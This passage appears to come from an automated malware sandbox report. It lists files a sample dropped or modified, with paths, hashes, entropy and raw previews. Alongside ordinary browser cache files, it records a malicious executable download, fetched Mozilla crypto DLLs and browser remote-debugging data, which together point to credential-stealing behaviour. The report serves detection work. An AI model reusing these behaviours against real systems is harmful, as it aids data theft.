MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.997603519486317
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXugtY4Y:YWLSGTt1o9LuLgfGBPAzkVj/T8lemY
MD5:	3F0844913CA3E370A6E68EE8D8DB88F3
SHA1:	7CD1F9C07DC552587A1C42DB9EB4B26FAF102996
SHA-256:	7FB0776707617CD335E7AE067A81A7C0EC03E14DB9C8C29D277C94B12CEDD6E5
SHA-512:	353827B2E4DD277768B74EF8941D6E58059D2A0C8B5C147ECA6822B42910920DF2BDB745DA2744F0E510B20CF18B716BFC87A7F9C2CA02D81AD7055D0FF88531
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732895392200291}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a94396d7-54ef-410f-9f2d-14f50849b297.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895345171249415
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SitBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynat5b7VLyMV/YoskFoz
MD5:	F49687AB0785F3AB6A7992E7BF9DFD1D
SHA1:	209C60810FC694F4E564C0D485DBE9845B422595
SHA-256:	09C51A6BC3FB7821A6D6B5E2C7C3278863DB08C5CC4FB45F6BA37A0DDFC91F72
SHA-512:	B48E46E0753B6FDC54AFBC08ABE836776262AD4C055A355EABBF069ED8144C9A645382011DAA31A83315B1C8DCA7DFE2936B253FEE1B2BE656A459E4698CB421
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\be0aaaae-c335-409f-a281-8e11a7682efb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45828
Entropy (8bit):	6.087672758139844
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5daUEKKKGf4+HCOo/TA9kVCioj7DRo+yM/42cRaLMos7l:mMk1rT8H1aF9aFoj7VLyMV/Yosp
MD5:	CBE2625476CF269C776CEBCDEF9AEC14
SHA1:	D614BDCF7747E46179A74DADC61CE1652B6F4773
SHA-256:	263BC3CAB219988550F319E2733CB7DD8B475C480BEA923655ED4366A60174F8
SHA-512:	4F553F855AD889D9D22F2043983A8F8451D46F32256DD29EFC6C6A16D0C74EE6E045BDDC2A33D03BEB9761D8212C18DDBCDB22C6254DE97A284958CB9B223366
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"20428ac4-1748-4fca-b2f8-e4f491093eb7"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8350913252717365
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx3xl9Il8uUkGh8pJAqzdSa9G38Zd1rc:meYKWgqBL6
MD5:	4A3577D12427D793FD63D185258C8C39
SHA1:	6B4E839E2872C33CA963EBFAF393296698B1B383
SHA-256:	28D3E27E3D78F9C5025A5A142DC964F88105925BB2FFF0784862446D0570BDF7
SHA-512:	EACA36D178828E39F9801E830D861325D3DF8F5D6A4A194C52BB17036521D046D21FC26D667E32D80FBA918488992229B191417FF98D37F86BD95C52AAC93CBF
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.G.s.R.A.5.R.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.d.A.y.p.+.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.001489361850483
Encrypted:	false
SSDEEP:	96:rY/B4l4gYny/+5sKd+EbK37TbUQoa3nlc7/NgV5TTYj9myK+:riB4FYny/1eCPbUQoqnW/N209mB+
MD5:	4528ED2BA0DBEDD2F62F4B3BEF1E0C52
SHA1:	1E535E3DBAC2329AB74D129CC8A5EF47A57C47B6
SHA-256:	DC9EECD2E84551B90B5FECED13EB2657FA48684A6AE02CA095DB114DD94C03B8
SHA-512:	227EE4AF2FBBBCD35784635350655170F9700B6D34F35F65D349F0DAE088A84E9DC90F070EBE3A5776713D552BE1FBF7FE2A733C77AC0AB519EDF0F43C71F716
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".a.M.D.H.6.I.t.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.d.A.y.p.+.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8968379132779845
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xexl9Il8ueEMp0rWpQYRLw+oWN+oKdYNOaryK0d/vc:akYEb0CtM+g3Ja2Kd
MD5:	38F18ADF32E6CD72F8CCED223CBCD294
SHA1:	D1AD463D13C86CC618445D0C385440F9D4DFD73A
SHA-256:	9148CD576401AB58457314D69EF8DA6B50A283E069EDD96CBC74EBA6B8F8E65D
SHA-512:	2222347979E18C4395AD5C688C5F56EB5FB54AEB001837A411E7C5E5FF62FD3B285722E78B83AE3E477BD481B0538AC6907BD2A790DB21C81C199CE13EF88EDC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".+.F.Y.p.G.V.1.g.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.d.A.y.p.+.4.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	modified
Size (bytes):	4451840
Entropy (8bit):	7.983904500969821
Encrypted:	false
SSDEEP:	98304:9Ba5FqLWKDAV2FcsdZCBLUdU+Rijyv7lXnvVLSOML:9G4LhAAWsdZGLUdU+sW75vV+H
MD5:	1D5CDAA864A209507BC54F040F492FFA
SHA1:	6CA4F226C07605D3C5EEE7F2BBD584B8905387B0
SHA-256:	16CA85EECB242929D182F0F423F1DB26068A5930673D3A59D9285BFD5BC368F6
SHA-512:	9866E9022AE1A777FDAFD29C2FF5115D9BBA351DCC9F3ACBBEFA7F8C1C5C60AF1694D8DE08299CE174AEAA20F4A1609FE0C1C628FAC3CB9278462FE3032DD831
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%.Eg...............(.NK..:v..2...........`K...@..................................kD...@... ............................._.s.s.....s............................................................................................................. . ..s......6(.................@....rsrc.........s......F(.............@....idata ......s......H(.............@... ..8...s......J(.............@...lkzekxbo.....@...\|...L(.............@...lpafuxee..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.3880548699136614
Encrypted:	false
SSDEEP:	96:6NnQiHQaNnQgv1bQ7NnQ49Q4NnQ5dgEQINnQnzuzdQnzKNnQPsDQLNnQwwQdNnQp:6NNNWNZNANNc6CKNJUNvpNO
MD5:	DA6A9C74971C65578977B9D5AF63FE20
SHA1:	6719197A20AA7A7E6014D7CD9FFA67A778A90127
SHA-256:	8A9A01E76FF514B60045398A02A61224CE2CE0970371A778F541761A804B1EBD
SHA-512:	7433A90292A90AEA82A8A614334EDFB23B395C5FC9D44EC764DAADEF95F49D0E486A8FD57AB2F6B164C8915E8840ECBEE315CFB24322989B4E7CD79E72137AD6
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8BAF1D817C09B7228025413C7829F396",.. "id": "8BAF1D817C09B7228025413C7829F396",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8BAF1D817C09B7228025413C7829F396"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/323151137711B9F917150E8CB60AD7B9",.. "id": "323151137711B9F917150E8CB60AD7B9",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/323151137711B9F917150E8CB60AD7B9"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.375569966931699
Encrypted:	false
SSDEEP:	48:SfNaoQFTEQoYfNaoQj1uQjhfNaoQblQpfNaoQ3950UrU0U8Q3T:6NnQFTEQVNnQoQ5NnQblQFNnQ3950UrU
MD5:	DF2EAEBD4DEAD59CCEB0C294C051B27F
SHA1:	42C80D521C0D9C7DF3F924CB12912A7FBC58D515
SHA-256:	4D75DA4B190E5157C1CDD1932517E2808DC2590BEC0BD5EA82873988992B015B
SHA-512:	FFB3734554FD438BE8245F2A9B9D2C2F5A3C6C98C4920839F8CED2582FACE9207C85DA0577F1A7CC0257531ED1F49FE9FD52167A26896AB391A798C69F154F57
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/C1329EB211E739A3495E8E9F4F62F305",.. "id": "C1329EB211E739A3495E8E9F4F62F305",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/C1329EB211E739A3495E8E9F4F62F305"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/BDB57D321A9CFD6C2934FD98BE156181",.. "id": "BDB57D321A9CFD6C2934FD98BE156181",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/BDB57D321A9CFD6C2934FD98BE156181"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
